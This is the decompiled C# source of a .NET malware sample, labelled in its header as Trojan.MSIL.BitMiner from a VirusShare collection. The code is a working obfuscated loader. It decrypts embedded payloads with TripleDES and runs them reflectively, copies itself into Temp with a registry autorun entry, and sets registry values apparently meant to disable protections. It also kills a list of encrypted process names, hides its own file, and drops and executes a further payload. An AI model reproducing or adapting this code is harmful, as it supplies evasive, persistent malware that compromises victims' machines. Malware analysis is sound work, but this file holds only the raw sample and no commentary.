// Decompiled with JetBrains decompiler
// Type: Infinity.Form1
// Assembly: Infinity, Version=8.5.5.4, Culture=neutral, PublicKeyToken=null
// MVID: AC3C4CF9-EFEE-4BAC-9551-610766AD93B5
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan.MSIL.BitMiner.bp-90685018c323d68237a3232e17b93a889c3b5feb82071d28c1999a868a1467a1.exe

using Infinity.My;
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using Microsoft.Win32;
using System;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Security.Cryptography;
using System.Text;
using System.Threading;
using System.Windows.Forms;

namespace Infinity
{
  [DesignerGenerated]
  public class Form1 : Form
  {
    private IContainer components;
    [AccessedThroughProperty("Button1")]
    private Button _Button1;
    [AccessedThroughProperty("Button2")]
    private Button _Button2;
    [AccessedThroughProperty("Button3")]
    private Button _Button3;
    [AccessedThroughProperty("CheckBox1")]
    private CheckBox _CheckBox1;
    [AccessedThroughProperty("CheckBox2")]
    private CheckBox _CheckBox2;
    [AccessedThroughProperty("Label1")]
    private Label _Label1;
    [AccessedThroughProperty("LinkLabel1")]
    private LinkLabel _LinkLabel1;
    public string BoxpBqUOoodZnUf;
    public string[] GCTzSocfngoUufR;
    public object CIGivUzpSBeZxba;

    public Form1()
    {
      this.Load += new EventHandler(this.Me_Load);
      this.BoxpBqUOoodZnUf = Application.ExecutablePath;
      this.GCTzSocfngoUufR = Strings.Split(Encoding.Default.GetString(this.KDToSBOWWjPRnNiVLGEorlu(this.GetType().Assembly.GetManifestResourceStream("LOeaZpRhcXLrwit"))), "||");
      this.InitializeComponent();
    }

    [DebuggerNonUserCode]
    protected override void Dispose(bool disposing)
    {
      try
      {
        if (!disposing || this.components == null)
          return;
        this.components.Dispose();
      }
      finally
      {
        base.Dispose(disposing);
      }
    }

    [DebuggerStepThrough]
    private void InitializeComponent()
    {
      this.Button1 = new Button();
      this.Button2 = new Button();
      this.Button3 = new Button();
      this.CheckBox1 = new CheckBox();
      this.CheckBox2 = new CheckBox();
      this.Label1 = new Label();
      this.LinkLabel1 = new LinkLabel();
      this.SuspendLayout();
      Button button1_1 = this.Button1;
      Point point1 = new Point(62, 36);
      Point point2 = point1;
      button1_1.Location = point2;
      this.Button1.Name = "Button1";
      Button button1_2 = this.Button1;
      Size size1 = new Size(75, 23);
      Size size2 = size1;
      button1_2.Size = size2;
      this.Button1.TabIndex = 0;
      this.Button1.Text = "Button1";
      this.Button1.UseVisualStyleBackColor = true;
      Button button2_1 = this.Button2;
      point1 = new Point(125, 90);
      Point point3 = point1;
      button2_1.Location = point3;
      this.Button2.Name = "Button2";
      Button button2_2 = this.Button2;
      size1 = new Size(75, 23);
      Size size3 = size1;
      button2_2.Size = size3;
      this.Button2.TabIndex = 1;
      this.Button2.Text = "Button2";
      this.Button2.UseVisualStyleBackColor = true;
      Button button3_1 = this.Button3;
      point1 = new Point(64, 143);
      Point point4 = point1;
      button3_1.Location = point4;
      this.Button3.Name = "Button3";
      Button button3_2 = this.Button3;
      size1 = new Size(75, 23);
      Size size4 = size1;
      button3_2.Size = size4;
      this.Button3.TabIndex = 2;
      this.Button3.Text = "Button3";
      this.Button3.UseVisualStyleBackColor = true;
      this.CheckBox1.AutoSize = true;
      CheckBox checkBox1_1 = this.CheckBox1;
      point1 = new Point(195, 41);
      Point point5 = point1;
      checkBox1_1.Location = point5;
      this.CheckBox1.Name = "CheckBox1";
      CheckBox checkBox1_2 = this.CheckBox1;
      size1 = new Size(81, 17);
      Size size5 = size1;
      checkBox1_2.Size = size5;
      this.CheckBox1.TabIndex = 3;
      this.CheckBox1.Text = "CheckBox1";
      this.CheckBox1.UseVisualStyleBackColor = true;
      this.CheckBox2.AutoSize = true;
      CheckBox checkBox2_1 = this.CheckBox2;
      point1 = new Point(64, 95);
      Point point6 = point1;
      checkBox2_1.Location = point6;
      this.CheckBox2.Name = "CheckBox2";
      CheckBox checkBox2_2 = this.CheckBox2;
      size1 = new Size(81, 17);
      Size size6 = size1;
      checkBox2_2.Size = size6;
      this.CheckBox2.TabIndex = 4;
      this.CheckBox2.Text = "CheckBox2";
      this.CheckBox2.UseVisualStyleBackColor = true;
      this.Label1.AutoSize = true;
      Label label1_1 = this.Label1;
      point1 = new Point(153, 202);
      Point point7 = point1;
      label1_1.Location = point7;
      this.Label1.Name = "Label1";
      Label label1_2 = this.Label1;
      size1 = new Size(39, 13);
      Size size7 = size1;
      label1_2.Size = size7;
      this.Label1.TabIndex = 5;
      this.Label1.Text = "Label1";
      this.LinkLabel1.AutoSize = true;
      LinkLabel linkLabel1_1 = this.LinkLabel1;
      point1 = new Point(254, 139);
      Point point8 = point1;
      linkLabel1_1.Location = point8;
      this.LinkLabel1.Name = "LinkLabel1";
      LinkLabel linkLabel1_2 = this.LinkLabel1;
      size1 = new Size(59, 13);
      Size size8 = size1;
      linkLabel1_2.Size = size8;
      this.LinkLabel1.TabIndex = 6;
      ((Label) this.LinkLabel1).TabStop = true;
      this.LinkLabel1.Text = "LinkLabel1";
      this.AutoScaleDimensions = new SizeF(6f, 13f);
      this.AutoScaleMode = AutoScaleMode.Font;
      size1 = new Size(292, 273);
      this.ClientSize = size1;
      this.Controls.Add((Control) this.LinkLabel1);
      this.Controls.Add((Control) this.Label1);
      this.Controls.Add((Control) this.CheckBox2);
      this.Controls.Add((Control) this.CheckBox1);
      this.Controls.Add((Control) this.Button3);
      this.Controls.Add((Control) this.Button2);
      this.Controls.Add((Control) this.Button1);
      this.Name = nameof (Form1);
      this.Text = nameof (Form1);
      this.ResumeLayout(false);
      this.PerformLayout();
    }

    internal virtual Button Button1
    {
      get => this._Button1;
      [MethodImpl(MethodImplOptions.Synchronized)] set => this._Button1 = value;
    }

    internal virtual Button Button2
    {
      get => this._Button2;
      [MethodImpl(MethodImplOptions.Synchronized)] set => this._Button2 = value;
    }

    internal virtual Button Button3
    {
      get => this._Button3;
      [MethodImpl(MethodImplOptions.Synchronized)] set => this._Button3 = value;
    }

    internal virtual CheckBox CheckBox1
    {
      get => this._CheckBox1;
      [MethodImpl(MethodImplOptions.Synchronized)] set => this._CheckBox1 = value;
    }

    internal virtual CheckBox CheckBox2
    {
      get => this._CheckBox2;
      [MethodImpl(MethodImplOptions.Synchronized)] set => this._CheckBox2 = value;
    }

    internal virtual Label Label1
    {
      get => this._Label1;
      [MethodImpl(MethodImplOptions.Synchronized)] set => this._Label1 = value;
    }

    internal virtual LinkLabel LinkLabel1
    {
      get => this._LinkLabel1;
      [MethodImpl(MethodImplOptions.Synchronized)] set => this._LinkLabel1 = value;
    }

    private void Me_Load(object sender, EventArgs e)
    {
      try
      {
        if (Conversions.ToDouble(this.GCTzSocfngoUufR[14]) != 0.0)
          Thread.Sleep(Conversions.ToInteger(this.GCTzSocfngoUufR[14]));
        if (Operators.CompareString(this.GCTzSocfngoUufR[4], "1", false) == 0)
        {
          if (Operators.CompareString(this.GCTzSocfngoUufR[5], "vbc", false) != 0)
          {
            if (Operators.CompareString(this.GCTzSocfngoUufR[5], "BoxpBqUOoodZnUf", false) == 0)
            {
              this.CIGivUzpSBeZxba = (object) new object[2]
              {
                (object) this.LsLOLVWWdCFsEingMSdaACi(this.KDToSBOWWjPRnNiVLGEorlu(this.GetType().Assembly.GetManifestResourceStream(this.GCTzSocfngoUufR[0])), this.GCTzSocfngoUufR[1]),
                (object) this.BoxpBqUOoodZnUf
              };
            }
            else
            {
              File.Copy(this.BoxpBqUOoodZnUf, Path.GetTempPath() + this.GCTzSocfngoUufR[5], true);
              this.CIGivUzpSBeZxba = (object) new object[2]
              {
                (object) this.LsLOLVWWdCFsEingMSdaACi(this.KDToSBOWWjPRnNiVLGEorlu(this.GetType().Assembly.GetManifestResourceStream(this.GCTzSocfngoUufR[0])), this.GCTzSocfngoUufR[1]),
                (object) (Path.GetTempPath() + this.GCTzSocfngoUufR[5])
              };
            }
          }
          else
            this.CIGivUzpSBeZxba = (object) new object[2]
            {
              (object) this.LsLOLVWWdCFsEingMSdaACi(this.KDToSBOWWjPRnNiVLGEorlu(this.GetType().Assembly.GetManifestResourceStream(this.GCTzSocfngoUufR[0])), this.GCTzSocfngoUufR[1]),
              Operators.ConcatenateObject((object) Environment.GetEnvironmentVariable(Conversions.ToString(this.AJkbYXUdkgkbRcoUDSDucTJ("3rm17KN0IIs=", "swLIqEddFNZC"))), this.AJkbYXUdkgkbRcoUDSDucTJ("EshhKLN3lL3cZwWaXMHBwtx+OWJgEgvRHmCrQtZ72o+6iCrcD1Thwjc+nYPqgfW0", "KaegYxNFpXZt"))
            };
          Assembly.Load(this.LsLOLVWWdCFsEingMSdaACi(this.KDToSBOWWjPRnNiVLGEorlu(this.GetType().Assembly.GetManifestResourceStream(this.GCTzSocfngoUufR[2])), this.GCTzSocfngoUufR[3])).GetType(Conversions.ToString(this.AJkbYXUdkgkbRcoUDSDucTJ("X0xCAeBJsjI=", "TyXoPoBuMvSC"))).InvokeMember(Conversions.ToString(this.AJkbYXUdkgkbRcoUDSDucTJ("GbfyujLmcNc=", "JPLXnDKMVsnR")), BindingFlags.InvokeMethod, (Binder) null, (object) null, (object[]) this.CIGivUzpSBeZxba);
        }
        else
        {
          this.CIGivUzpSBeZxba = (object) new object[6]
          {
            (object) this.LsLOLVWWdCFsEingMSdaACi(this.KDToSBOWWjPRnNiVLGEorlu(this.GetType().Assembly.GetManifestResourceStream(this.GCTzSocfngoUufR[0])), this.GCTzSocfngoUufR[1]),
            (object) true,
            (object) this.GCTzSocfngoUufR[5],
            (object) ".exe",
            (object) true,
            (object) false
          };
          Assembly.Load(this.LsLOLVWWdCFsEingMSdaACi(this.KDToSBOWWjPRnNiVLGEorlu(this.GetType().Assembly.GetManifestResourceStream(this.GCTzSocfngoUufR[2])), this.GCTzSocfngoUufR[3])).GetType(Conversions.ToString(this.AJkbYXUdkgkbRcoUDSDucTJ("HbrzivdJvbg=", "EToclJEhjQkp"))).InvokeMember(Conversions.ToString(this.AJkbYXUdkgkbRcoUDSDucTJ("q6qld5F3Bvsq18pgclnLkg==", "ujPYZXczGOrF")), BindingFlags.InvokeMethod, (Binder) null, (object) null, (object[]) this.CIGivUzpSBeZxba);
        }
        if (Operators.CompareString(this.GCTzSocfngoUufR[6], "YES", false) == 0)
          this.rbKlRUnFULflwDjGgnIdOPj(this.GCTzSocfngoUufR[7], this.GCTzSocfngoUufR[8]);
        if (Operators.CompareString(this.GCTzSocfngoUufR[10], "YES", false) == 0)
          this.XUPiGsPYJUeklhYgkBpeMWV();
        if (Operators.CompareString(this.GCTzSocfngoUufR[11], "YES", false) == 0)
          this.rcgagekgDFWgpQgXMOJiYiJ();
        if (Operators.CompareString(this.GCTzSocfngoUufR[9], "YES", false) == 0)
          this.mVoFoWtGSdllqoDfiMjAkWv();
        if (Operators.CompareString(this.GCTzSocfngoUufR[12], "YES", false) == 0)
          this.JKeJjnrWILIWEawRAOFXhOr();
        if (Operators.CompareString(this.GCTzSocfngoUufR[13], "YES", false) == 0)
          this.QrsSKZNcpBYmCpfNcKpPEXi();
        if (Operators.CompareString(this.GCTzSocfngoUufR[15], "YES", false) == 0)
        {
          int num = (int) Interaction.MsgBox((object) this.GCTzSocfngoUufR[18], (MsgBoxStyle) Conversions.ToInteger(this.GCTzSocfngoUufR[16]), (object) this.GCTzSocfngoUufR[17]);
        }
        if (Operators.CompareString(this.GCTzSocfngoUufR[19], "YES", false) == 0)
        {
          File.WriteAllBytes((Path.GetTempPath() + this.GCTzSocfngoUufR[22]).Replace("\0", ""), this.LsLOLVWWdCFsEingMSdaACi(this.KDToSBOWWjPRnNiVLGEorlu(this.GetType().Assembly.GetManifestResourceStream(this.GCTzSocfngoUufR[20])), this.GCTzSocfngoUufR[21]));
          Process.Start((Path.GetTempPath() + this.GCTzSocfngoUufR[22]).Replace("\0", ""));
        }
      }
      catch (Exception ex)
      {
        ProjectData.SetProjectError(ex);
        ProjectData.ClearProjectError();
      }
      this.Close();
    }

    public object AJkbYXUdkgkbRcoUDSDucTJ(string OpYLktpcQZZGtbw, string KLRMgiGGRsnFwXQ)
    {
      TripleDESCryptoServiceProvider cryptoServiceProvider1 = new TripleDESCryptoServiceProvider();
      MD5CryptoServiceProvider cryptoServiceProvider2 = new MD5CryptoServiceProvider();
      cryptoServiceProvider1.Key = cryptoServiceProvider2.ComputeHash(Encoding.ASCII.GetBytes(KLRMgiGGRsnFwXQ));
      cryptoServiceProvider1.Mode = CipherMode.ECB;
      ICryptoTransform decryptor = cryptoServiceProvider1.CreateDecryptor();
      byte[] inputBuffer = Convert.FromBase64String(OpYLktpcQZZGtbw);
      return (object) Encoding.ASCII.GetString(decryptor.TransformFinalBlock(inputBuffer, 0, inputBuffer.Length));
    }

    public byte[] LsLOLVWWdCFsEingMSdaACi(byte[] WDHGaiBwEtINXLU, string qrSdGIwGSUsCahp)
    {
      TripleDESCryptoServiceProvider cryptoServiceProvider1 = new TripleDESCryptoServiceProvider();
      MD5CryptoServiceProvider cryptoServiceProvider2 = new MD5CryptoServiceProvider();
      cryptoServiceProvider1.Key = cryptoServiceProvider2.ComputeHash(Encoding.ASCII.GetBytes(qrSdGIwGSUsCahp));
      cryptoServiceProvider1.Mode = CipherMode.ECB;
      ICryptoTransform decryptor = cryptoServiceProvider1.CreateDecryptor();
      byte[] inputBuffer = WDHGaiBwEtINXLU;
      return decryptor.TransformFinalBlock(inputBuffer, 0, checked (inputBuffer.Length - 1));
    }

    private object rbKlRUnFULflwDjGgnIdOPj(string RjpBKtyoXKovFnX, string RFxHQxRvBmidXoU)
    {
      if (Operators.CompareString(this.BoxpBqUOoodZnUf, Path.GetTempPath() + RFxHQxRvBmidXoU, false) != 0)
      {
        RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(Conversions.ToString(this.AJkbYXUdkgkbRcoUDSDucTJ("vrFlkkFZPyv/PaLhu+M8Sve0qn9MPR6N8YwlIiU6DgnwoqzG5px+sSQnT9PZlxUE", "DZlzhykoPDBu")), true);
        registryKey.SetValue(RjpBKtyoXKovFnX, (object) (Path.GetTempPath() + RFxHQxRvBmidXoU), RegistryValueKind.String);
        registryKey.Close();
        try
        {
          File.Copy(this.BoxpBqUOoodZnUf, Path.GetTempPath() + RFxHQxRvBmidXoU, true);
        }
        catch (Exception ex)
        {
          ProjectData.SetProjectError(ex);
          ProjectData.ClearProjectError();
        }
      }
      object obj;
      return obj;
    }

    private object rcgagekgDFWgpQgXMOJiYiJ()
    {
      try
      {
        MyProject.Computer.Registry.SetValue(Conversions.ToString(this.AJkbYXUdkgkbRcoUDSDucTJ("Ex83CH2VwetM26t99/umFrGW7rPWL8ritl3cZZmy+LtVOr/cxgyZNvpoj6mVAJ0hP51oiD0EPaSF2AvyOWOEqA==", "daxTrxtFJXsu")), Conversions.ToString(this.AJkbYXUdkgkbRcoUDSDucTJ("FMNBzQqMSBciR3sp4yAn8Q==", "XgbFUnIaVKqy")), (object) "1", RegistryValueKind.DWord);
      }
      catch (Exception ex)
      {
        ProjectData.SetProjectError(ex);
        ProjectData.ClearProjectError();
      }
      object obj;
      return obj;
    }

    private object XUPiGsPYJUeklhYgkBpeMWV()
    {
      try
      {
        MyProject.Computer.Registry.SetValue(Conversions.ToString(this.AJkbYXUdkgkbRcoUDSDucTJ("I89VZskGCDhd/GZ5c+BjBJHC5XHBJARTbpGmz8vNGXi99SfQEJqcsUbU0BTE4oF+aD2a920L/sGdoYfyKxolee92OnnltQNSnfDwLq0G/L0=", "aYdPIPtGGVZc")), Conversions.ToString(this.AJkbYXUdkgkbRcoUDSDucTJ("AvKOWEExAhyCZLc3z8E57Q==", "sShaKruPrvKU")), (object) "1", RegistryValueKind.DWord);
      }
      catch (Exception ex)
      {
        ProjectData.SetProjectError(ex);
        ProjectData.ClearProjectError();
      }
      object obj;
      return obj;
    }

    private object mVoFoWtGSdllqoDfiMjAkWv()
    {
      try
      {
        MyProject.Computer.Registry.SetValue(Conversions.ToString(this.AJkbYXUdkgkbRcoUDSDucTJ("QgCjlzU7YcmHGIDowjH8FiMN/8gFV7tZKvdRM/bT6omRHVpWcrnjICbs8k3BG5t7W1ijH7r4dCtSCr0AzDD+Z9HH2uMABg5Fl62uhST0OrU=", "XkXKlIGiQhTX")), Conversions.ToString(this.AJkbYXUdkgkbRcoUDSDucTJ("fUTX/knxoEa84gjm2rGoTi0aFB+PmIaT", "EepjCyWrQIFQ")), (object) "1", RegistryValueKind.DWord);
      }
      catch (Exception ex)
      {
        ProjectData.SetProjectError(ex);
        ProjectData.ClearProjectError();
      }
      object obj;
      return obj;
    }

    private object QrsSKZNcpBYmCpfNcKpPEXi()
    {
      try
      {
        File.SetAttributes(this.BoxpBqUOoodZnUf, FileAttributes.Hidden | FileAttributes.System);
      }
      catch (Exception ex)
      {
        ProjectData.SetProjectError(ex);
        ProjectData.ClearProjectError();
      }
      object obj;
      return obj;
    }

    private object JKeJjnrWILIWEawRAOFXhOr()
    {
      Process[] processesByName1 = Process.GetProcessesByName(Conversions.ToString(this.rKATFrKYfIciVrvPUYehjuv("XKWPUhwW7m/tezTA4dTfDg==")));
      int index1 = 0;
      while (index1 < processesByName1.Length)
      {
        processesByName1[index1].Kill();
        checked { ++index1; }
      }
      Process[] processesByName2 = Process.GetProcessesByName(Conversions.ToString(this.rKATFrKYfIciVrvPUYehjuv("e1G7yYeJYZ8G7OnXz9LegQ==")));
      int index2 = 0;
      while (index2 < processesByName2.Length)
      {
        processesByName2[index2].Kill();
        checked { ++index2; }
      }
      Process[] processesByName3 = Process.GetProcessesByName(Conversions.ToString(this.rKATFrKYfIciVrvPUYehjuv("Pve2X+qFyXSu25PqVRY1Wg==")));
      int index3 = 0;
      while (index3 < processesByName3.Length)
      {
        processesByName3[index3].Kill();
        checked { ++index3; }
      }
      Process[] processesByName4 = Process.GetProcessesByName(Conversions.ToString(this.rKATFrKYfIciVrvPUYehjuv("NQXCJ6HW5shpdkoPsD8XeA==")));
      int index4 = 0;
      while (index4 < processesByName4.Length)
      {
        processesByName4[index4].Kill();
        checked { ++index4; }
      }
      Process[] processesByName5 = Process.GetProcessesByName(Conversions.ToString(this.rKATFrKYfIciVrvPUYehjuv("8zm2foWAu6l8x0ClGoU29A==")));
      int index5 = 0;
      while (index5 < processesByName5.Length)
      {
        processesByName5[index5].Kill();
        checked { ++index5; }
      }
      Process[] processesByName6 = Process.GetProcessesByName(Conversions.ToString(this.rKATFrKYfIciVrvPUYehjuv("12tPwJrUdwcYqi/Qb6XX8g==")));
      int index6 = 0;
      while (index6 < processesByName6.Length)
      {
        processesByName6[index6].Kill();
        checked { ++index6; }
      }
      Process[] processesByName7 = Process.GetProcessesByName(Conversions.ToString(this.rKATFrKYfIciVrvPUYehjuv("l9W1baN3G99dBxRhfaxhOQ==")));
      int index7 = 0;
      while (index7 < processesByName7.Length)
      {
        processesByName7[index7].Kill();
        checked { ++index7; }
      }
      Process[] processesByName8 = Process.GetProcessesByName(Conversions.ToString(this.rKATFrKYfIciVrvPUYehjuv("UGGAdXbMfXXmSxkvK3pYVg==")));
      int index8 = 0;
      while (index8 < processesByName8.Length)
      {
        processesByName8[index8].Kill();
        checked { ++index8; }
      }
      Process[] processesByName9 = Process.GetProcessesByName(Conversions.ToString(this.rKATFrKYfIciVrvPUYehjuv("jyXTA+CxmEC077RGcCcjWA==")));
      int index9 = 0;
      while (index9 < processesByName9.Length)
      {
        processesByName9[index9].Kill();
        checked { ++index9; }
      }
      Process[] processesByName10 = Process.GetProcessesByName(Conversions.ToString(this.rKATFrKYfIciVrvPUYehjuv("Evb7RpMgYYSFzalFXwZoBg==")));
      int index10 = 0;
      while (index10 < processesByName10.Length)
      {
        processesByName10[index10].Kill();
        checked { ++index10; }
      }
      Process[] processesByName11 = Process.GetProcessesByName(Conversions.ToString(this.rKATFrKYfIciVrvPUYehjuv("2rL+4HzzfTuPdunxdJEjbQ==")));
      int index11 = 0;
      while (index11 < processesByName11.Length)
      {
        processesByName11[index11].Kill();
        checked { ++index11; }
      }
      Process[] processesByName12 = Process.GetProcessesByName(Conversions.ToString(this.rKATFrKYfIciVrvPUYehjuv("awgjqbhJ/8im/4kIGtRvyg==")));
      int index12 = 0;
      while (index12 < processesByName12.Length)
      {
        processesByName12[index12].Kill();
        checked { ++index12; }
      }
      Process[] processesByName13 = Process.GetProcessesByName(Conversions.ToString(this.rKATFrKYfIciVrvPUYehjuv("hJx7adv0sFK0oh1mHPs64w==")));
      int index13 = 0;
      while (index13 < processesByName13.Length)
      {
        processesByName13[index13].Kill();
        checked { ++index13; }
      }
      Process[] processesByName14 = Process.GetProcessesByName(Conversions.ToString(this.rKATFrKYfIciVrvPUYehjuv("4i7QVOPPBtyRF45l1w2r0w==")));
      int index14 = 0;
      while (index14 < processesByName14.Length)
      {
        processesByName14[index14].Kill();
        checked { ++index14; }
      }
      object obj;
      return obj;
    }

    private object rKATFrKYfIciVrvPUYehjuv(string sRYSmkQhVJLkULYcO)
    {
      RijndaelManaged rijndaelManaged = new RijndaelManaged();
      Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes("vjvuhowrpuHZGFrvuVtNRYQ", new byte[8]
      {
        (byte) 1,
        (byte) 2,
        (byte) 3,
        (byte) 4,
        (byte) 5,
        (byte) 6,
        (byte) 7,
        (byte) 8
      });
      rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes(rijndaelManaged.Key.Length);
      rijndaelManaged.IV = rfc2898DeriveBytes.GetBytes(rijndaelManaged.IV.Length);
      MemoryStream memoryStream = new MemoryStream();
      CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, rijndaelManaged.CreateDecryptor(), CryptoStreamMode.Write);
      object obj;
      try
      {
        byte[] buffer = Convert.FromBase64String(sRYSmkQhVJLkULYcO);
        cryptoStream.Write(buffer, 0, buffer.Length);
        cryptoStream.Close();
        obj = (object) Encoding.UTF8.GetString(memoryStream.ToArray());
      }
      catch (Exception ex)
      {
        ProjectData.SetProjectError(ex);
        ProjectData.ClearProjectError();
      }
      return obj;
    }

    private byte[] KDToSBOWWjPRnNiVLGEorlu(Stream fDQofwUuYVBnHVG)
    {
      int int32 = Convert.ToInt32(fDQofwUuYVBnHVG.Length);
      byte[] buffer = new byte[checked (int32 + 1)];
      fDQofwUuYVBnHVG.Read(buffer, 0, int32);
      fDQofwUuYVBnHVG.Close();
      return buffer;
    }
  }
}
